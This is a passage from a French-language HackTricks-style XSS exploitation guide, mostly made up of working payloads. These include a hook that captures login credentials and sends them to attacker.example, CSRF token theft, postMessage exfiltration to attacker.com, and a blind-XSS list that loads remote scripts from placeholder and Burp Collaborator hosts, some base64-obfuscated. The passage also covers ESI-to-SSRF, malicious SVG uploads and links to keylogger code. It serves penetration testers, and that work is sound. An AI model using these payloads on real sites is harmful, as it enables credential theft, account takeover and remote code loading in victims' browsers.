) est déclaré plus tard dans la page, et que votre payload s'exécute plus tôt (e.g., via un inline JS-in-JS sink), définissez d'abord un const
du même nom pour préempter et verrouiller le handler. Les déclarations de fonction ultérieures ne peuvent pas rebind un nom const
, laissant votre hook en contrôle :
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Remarques
- Cela repose sur l'ordre d'exécution : votre injection doit s'exécuter avant la déclaration légitime.
- Si votre payload est enveloppé dans
eval(...)
, les bindingsconst/let
ne deviendront pas des globals. Utilisez la technique d'injection dynamique<script>
de la section “Deliverable payloads with eval(atob()) and scope nuances” pour assurer une liaison globale véritable et non réaffectable. - Quand des filtres de mots-clés bloquent le code, combinez avec des identifiants échappés en Unicode ou une livraison via
eval(atob('...'))
, comme montré ci‑dessus.
Keylogger
En cherchant simplement sur github, j'ai trouvé quelques exemples :
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Vous pouvez aussi utiliser metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Voler les messages PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Abuser des Service Workers
Accéder au Shadow DOM
Polyglots
Blind XSS payloads
Vous pouvez aussi utiliser : https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Accéder au contenu caché
À partir de this writeup on peut apprendre que, même si certaines valeurs disparaissent de JS, il est toujours possible de les retrouver dans des attributs JS de différents objets. Par exemple, une entrée d'un REGEX peut encore être trouvée après que la valeur de l'entrée du regex a été supprimée :
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Liste de Brute-Force
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS exploitant d'autres vulnérabilités
XSS dans Markdown
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir du XSS ! Vérifiez :
XSS vers SSRF
Vous avez un XSS sur un site that uses caching ? Essayez upgrading that to SSRF via Edge Side Include Injection avec ce payload :
<esi:include src="http://yoursite.com/capture" />
Utilisez-le pour contourner les restrictions de cookies, les filtres XSS et bien plus encore !
Plus d'informations sur cette technique ici : XSLT.
XSS dans un PDF créé dynamiquement
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de tromper le bot qui crée le PDF afin de le faire exécuter du code JS arbitraire.
Donc, si le bot créateur de PDF trouve des balises HTML, il va les interpréter, et vous pouvez abuser de ce comportement pour provoquer un Server XSS.
Si vous ne pouvez pas injecter des balises HTML, il peut être intéressant d'essayer d'injecter des données PDF :
XSS dans Amp4Email
AMP, conçu pour accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par JavaScript pour assurer la fonctionnalité en mettant l'accent sur la rapidité et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via AMP components.
Le format AMP for Email étend certains composants AMP aux emails, permettant aux destinataires d'interagir directement avec le contenu au sein de leurs emails.
Exemple writeup XSS in Amp4Email in Gmail.
XSS en téléversant des fichiers (svg)
Téléversez en tant qu'image un fichier comme le suivant (provenant de http://ghostlulz.com/xss-svg/) :
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Trouvez plus de SVG payloads sur https://github.com/allanlw/svg-cheatsheet
Astuces JS diverses & infos pertinentes
Misc JS Tricks & Relevant Info
Ressources XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.